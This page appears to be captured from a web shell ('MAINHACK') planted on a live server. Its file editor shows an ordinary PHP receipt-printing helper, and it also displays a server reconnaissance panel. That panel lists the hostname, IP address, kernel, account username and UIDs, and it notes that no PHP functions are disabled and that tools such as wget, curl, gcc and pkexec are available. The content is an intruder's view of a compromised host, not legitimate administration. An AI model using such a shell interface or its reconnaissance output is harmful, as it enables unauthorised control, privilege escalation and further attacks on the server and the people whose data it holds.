[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: printer_helper.php
<?php if(! function_exists('product_name')) { function product_name($name, $size = 0) { if (!$size) { $size = 42; } return character_limiter($name, ($size-5)); } } if(! function_exists('drawLine')) { function drawLine($size) { $line = ''; for ($i = 1; $i <= $size; $i++) { $line .= '-'; } return $line."\n"; } } if(! function_exists('printLine')) { function printLine($str, $size, $sep = ":", $space = NULL) { $size = $space ? $space : $size; $lenght = strlen($str); list($first, $second) = explode(":", $str, 2); $line = $first . ($sep == ":" ? $sep : ''); for ($i = 1; $i < ($size - $lenght); $i++) { $line .= ' '; } $line .= ($sep != ":" ? $sep : '') . $second; return $line; } } if(! function_exists('printText')) { function printText($text, $size) { $line = wordwrap($text, $size, "\\n"); return $line; } } if(! function_exists('taxLine')) { function taxLine($name, $code, $qty, $amt, $tax, $size) { return printLine(printLine(printLine(printLine($name . ':' . $code, 16, '') . ':' . $qty, 22, '') . ':' . $amt, 33, '') . ':' . $tax, $size, ''); } } if ( ! function_exists('character_limiter')) { function character_limiter($str, $n = 500, $end_char = '…') { if (mb_strlen($str) < $n) { return $str; } $str = preg_replace('/ {2,}/', ' ', str_replace(array("\r", "\n", "\t", "\x0B", "\x0C"), ' ', $str)); if (mb_strlen($str) <= $n) { return $str; } $out = ''; foreach (explode(' ', trim($str)) as $val) { $out .= $val.' '; if (mb_strlen($out) >= $n) { $out = trim($out); return (mb_strlen($out) === mb_strlen($str)) ? $out : $out.$end_char; } } } } if ( ! function_exists('word_wrap')) { function word_wrap($str, $charlim = 76) { is_numeric($charlim) OR $charlim = 76; $str = preg_replace('| +|', ' ', $str); if (strpos($str, "\r") !== FALSE) { $str = str_replace(array("\r\n", "\r"), "\n", $str); } $unwrap = array(); if (preg_match_all('|\{unwrap\}(.+?)\{/unwrap\}|s', $str, $matches)) { for ($i = 0, $c = count($matches[0]); $i < $c; $i++) { $unwrap[] = $matches[1][$i]; $str = str_replace($matches[0][$i], '{{unwrapped'.$i.'}}', $str); } } $str = wordwrap($str, $charlim, "\n", FALSE); $output = ''; foreach (explode("\n", $str) as $line) { if (mb_strlen($line) <= $charlim) { $output .= $line."\n"; continue; } $temp = ''; while (mb_strlen($line) > $charlim) { if (preg_match('!\[url.+\]|://|www\.!', $line)) { break; } $temp .= mb_substr($line, 0, $charlim - 1); $line = mb_substr($line, $charlim - 1); } if ($temp !== '') { $output .= $temp."\n".$line."\n"; } else { $output .= $line."\n"; } } if (count($unwrap) > 0) { foreach ($unwrap as $key => $val) { $output = str_replace('{{unwrapped'.$key.'}}', $val, $output); } } return $output; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.71 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002